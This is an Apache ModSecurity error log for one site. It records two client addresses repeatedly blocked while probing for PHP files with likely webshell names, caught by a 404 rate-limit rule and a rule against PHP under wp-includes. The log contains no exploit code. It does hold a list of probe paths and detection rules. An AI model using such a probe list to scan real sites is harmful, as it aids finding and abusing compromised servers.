[Thu Feb 26 22:26:35.464565 2026] [:error] [pid 55618:tid 55636] [client 4.194.131.131:2912] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaBYGx61Vrh12f_8oWQVZAAAAQ8"]
[Thu Feb 26 22:26:35.555776 2026] [:error] [pid 55618:tid 55632] [client 20.151.107.14:62953] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FII.php"] [unique_id "aaBYGx61Vrh12f_8oWQVZQAAAQs"]
[Thu Feb 26 22:26:35.662482 2026] [:error] [pid 20419:tid 20430] [client 4.194.131.131:2911] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaBYG-3DVDvMfTYYUBVpOAAAAcg"]
[Thu Feb 26 22:26:35.860430 2026] [:error] [pid 44444:tid 44468] [client 4.194.131.131:2857] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaBYG22sMNmj-yekUk1P1wAAAhI"]
[Thu Feb 26 22:26:36.059333 2026] [:error] [pid 44444:tid 44466] [client 4.194.131.131:2194] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aaBYHG2sMNmj-yekUk1P2QAAAhA"]
[Thu Feb 26 22:26:36.229475 2026] [:error] [pid 55051:tid 55078] [client 20.151.107.14:64215] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FII.php"] [unique_id "aaBYHAmK1w2kZvh5eLHRMgAAAJg"]
[Thu Feb 26 22:26:36.299773 2026] [:error] [pid 44444:tid 44470] [client 4.194.131.131:2899] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aaBYHG2sMNmj-yekUk1P2gAAAhQ"]
[Thu Feb 26 22:26:36.476274 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2231] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aaBYHG2sMNmj-yekUk1P3AAAAgo"]
[Thu Feb 26 22:26:36.710375 2026] [:error] [pid 44444:tid 44472] [client 4.194.131.131:2929] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/waq.php"] [unique_id "aaBYHG2sMNmj-yekUk1P3gAAAhY"]
[Thu Feb 26 22:26:36.856510 2026] [:error] [pid 44444:tid 44452] [client 20.151.107.14:63538] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kyami.php"] [unique_id "aaBYHG2sMNmj-yekUk1P4gAAAgI"]
[Thu Feb 26 22:26:36.890821 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2203] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aaBYHG2sMNmj-yekUk1P4wAAAhU"]
[Thu Feb 26 22:26:37.103796 2026] [:error] [pid 44444:tid 44473] [client 4.194.131.131:2541] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aaBYHW2sMNmj-yekUk1P5AAAAhc"]
[Thu Feb 26 22:26:37.338907 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:2545] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aaBYHW2sMNmj-yekUk1P6AAAAgg"]
[Thu Feb 26 22:26:37.515753 2026] [:error] [pid 55618:tid 55621] [client 4.194.131.131:2214] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wakak.php"] [unique_id "aaBYHR61Vrh12f_8oWQVewAAAQA"]
[Thu Feb 26 22:26:37.634882 2026] [:error] [pid 20419:tid 20439] [client 20.151.107.14:64137] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kyami.php"] [unique_id "aaBYHe3DVDvMfTYYUBVpPgAAAdE"]
[Thu Feb 26 22:26:37.736420 2026] [:error] [pid 20419:tid 20440] [client 4.194.131.131:2551] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBYHe3DVDvMfTYYUBVpPwAAAdI"]
[Thu Feb 26 22:26:37.915806 2026] [:error] [pid 20419:tid 20426] [client 4.194.131.131:2884] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBYHe3DVDvMfTYYUBVpQAAAAcQ"]
[Thu Feb 26 22:26:38.079033 2026] [:error] [pid 54991:tid 55031] [client 20.151.107.14:64249] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kyami.php"] [unique_id "aaBYHt4Zx-mJ8gbRB2j_sAAAAEs"]
[Thu Feb 26 22:26:38.089951 2026] [:error] [pid 54991:tid 55036] [client 4.194.131.131:2392] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBYHt4Zx-mJ8gbRB2j_sQAAAFA"]
[Thu Feb 26 22:26:38.304988 2026] [:error] [pid 54990:tid 55014] [client 4.194.131.131:2534] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBYHntr2qmt_mBhH2wvuAAAABU"]
[Thu Feb 26 22:26:38.499164 2026] [:error] [pid 25311:tid 25332] [client 4.194.131.131:3051] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aaBYHtfdM__yZAgJFSvsYAAAAZI"]
[Thu Feb 26 22:26:38.577583 2026] [:error] [pid 3883:tid 3908] [client 20.151.107.14:64204] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kyami.php"] [unique_id "aaBYHuA33x90V6yYHaj3MwAAAVY"]
[Thu Feb 26 22:26:38.682305 2026] [:error] [pid 3883:tid 3905] [client 4.194.131.131:2499] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/index.php"] [unique_id "aaBYHuA33x90V6yYHaj3NAAAAVM"]
[Thu Feb 26 22:26:38.872916 2026] [:error] [pid 20419:tid 20425] [client 4.194.131.131:2915] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aaBYHu3DVDvMfTYYUBVpQgAAAcM"]
[Thu Feb 26 22:26:39.062648 2026] [:error] [pid 3883:tid 3910] [client 4.194.131.131:2943] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aaBYH-A33x90V6yYHaj3NgAAAVg"]
[Thu Feb 26 22:26:39.158733 2026] [:error] [pid 3883:tid 3897] [client 20.151.107.14:64182] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaBYH-A33x90V6yYHaj3NwAAAUs"]
[Thu Feb 26 22:26:39.237159 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2177] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aaBYHwmK1w2kZvh5eLHRPQAAAI0"]
[Thu Feb 26 22:26:39.454859 2026] [:error] [pid 55051:tid 55068] [client 4.194.131.131:2922] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aaBYHwmK1w2kZvh5eLHRPgAAAI4"]
[Thu Feb 26 22:26:39.631625 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:2544] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aaBYH22sMNmj-yekUk1P7wAAAgE"]
[Thu Feb 26 22:26:39.677180 2026] [:error] [pid 54991:tid 55035] [client 20.151.107.14:61347] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaBYH94Zx-mJ8gbRB2j_tgAAAE8"]
[Thu Feb 26 22:26:39.819123 2026] [:error] [pid 20419:tid 20436] [client 4.194.131.131:2550] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aaBYH-3DVDvMfTYYUBVpRgAAAc4"]
[Thu Feb 26 22:26:40.002475 2026] [:error] [pid 3883:tid 3898] [client 4.194.131.131:2475] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aaBYIOA33x90V6yYHaj3OQAAAUw"]
[Thu Feb 26 22:26:40.180303 2026] [:error] [pid 3883:tid 3894] [client 4.194.131.131:2221] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aaBYIOA33x90V6yYHaj3OgAAAUg"]
[Thu Feb 26 22:26:40.192022 2026] [:error] [pid 54991:tid 55041] [client 20.151.107.14:62868] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaBYIN4Zx-mJ8gbRB2j_uAAAAFU"]
[Thu Feb 26 22:26:40.442740 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:2202] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aaBYIN4Zx-mJ8gbRB2j_ugAAAE4"]
[Thu Feb 26 22:26:40.633697 2026] [:error] [pid 54991:tid 55043] [client 4.194.131.131:2207] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aaBYIN4Zx-mJ8gbRB2j_uwAAAFc"]
[Thu Feb 26 22:26:40.700597 2026] [:error] [pid 54991:tid 55033] [client 20.151.107.14:61367] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaBYIN4Zx-mJ8gbRB2j_vQAAAE0"]
[Thu Feb 26 22:26:40.811857 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:2239] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aaBYIAmK1w2kZvh5eLHRPwAAAIg"]
[Thu Feb 26 22:26:41.000927 2026] [:error] [pid 3883:tid 3907] [client 4.194.131.131:3036] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aaBYIOA33x90V6yYHaj3PgAAAVU"]
[Thu Feb 26 22:26:41.175563 2026] [:error] [pid 3883:tid 3887] [client 4.194.131.131:2524] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aaBYIeA33x90V6yYHaj3QAAAAUE"]
[Thu Feb 26 22:26:41.350348 2026] [:error] [pid 44444:tid 44455] [client 4.194.131.131:2234] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aaBYIW2sMNmj-yekUk1P9AAAAgU"]
[Thu Feb 26 22:26:41.495935 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:61419] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.phphttps://forower.io/ioxi-o.php"] [unique_id "aaBYIW2sMNmj-yekUk1P9QAAAg0"]
[Thu Feb 26 22:26:41.551450 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2232] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aaBYIW2sMNmj-yekUk1P9gAAAhU"]
[Thu Feb 26 22:26:41.736873 2026] [:error] [pid 44444:tid 44464] [client 4.194.131.131:2210] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aaBYIW2sMNmj-yekUk1P-AAAAg4"]
[Thu Feb 26 22:26:41.917975 2026] [:error] [pid 44444:tid 44465] [client 4.194.131.131:2504] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aaBYIW2sMNmj-yekUk1P-QAAAg8"]
[Thu Feb 26 22:26:42.095411 2026] [:error] [pid 55618:tid 55641] [client 4.194.131.131:2236] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aaBYIh61Vrh12f_8oWQViwAAARQ"]
[Thu Feb 26 22:26:42.200695 2026] [:error] [pid 3883:tid 3896] [client 20.151.107.14:61391] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.phphttps://forower.io/ioxi-o.php"] [unique_id "aaBYIuA33x90V6yYHaj3QQAAAUo"]
[Thu Feb 26 22:26:42.269604 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2918] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aaBYIt4Zx-mJ8gbRB2j_wgAAAEw"]
[Thu Feb 26 22:26:42.443487 2026] [:error] [pid 55051:tid 55075] [client 4.194.131.131:2238] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aaBYIgmK1w2kZvh5eLHRQwAAAJU"]
[Thu Feb 26 22:26:42.632634 2026] [:error] [pid 54990:tid 54995] [client 4.194.131.131:2223] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aaBYIntr2qmt_mBhH2wvuwAAAAI"]
[Thu Feb 26 22:26:42.705618 2026] [:error] [pid 3883:tid 3900] [client 20.151.107.14:64139] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.phphttps://forower.io/ioxi-o.php"] [unique_id "aaBYIuA33x90V6yYHaj3QgAAAU4"]
[Thu Feb 26 22:26:42.806465 2026] [:error] [pid 3883:tid 3906] [client 4.194.131.131:2894] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aaBYIuA33x90V6yYHaj3QwAAAVQ"]
[Thu Feb 26 22:26:42.980653 2026] [:error] [pid 54990:tid 55013] [client 4.194.131.131:2461] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aaBYIntr2qmt_mBhH2wvvAAAABQ"]
[Thu Feb 26 22:26:43.155428 2026] [:error] [pid 55122:tid 55134] [client 4.194.131.131:2931] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aaBYI4LiR0OfjFxvcN82sgAAAMo"]
[Thu Feb 26 22:26:43.182754 2026] [:error] [pid 44444:tid 44461] [client 20.151.107.14:61375] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.phphttps://forower.io/ioxi-o.php"] [unique_id "aaBYI22sMNmj-yekUk1P_QAAAgs"]
[Thu Feb 26 22:26:43.333151 2026] [:error] [pid 3883:tid 3903] [client 4.194.131.131:2462] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aaBYI-A33x90V6yYHaj3RAAAAVE"]
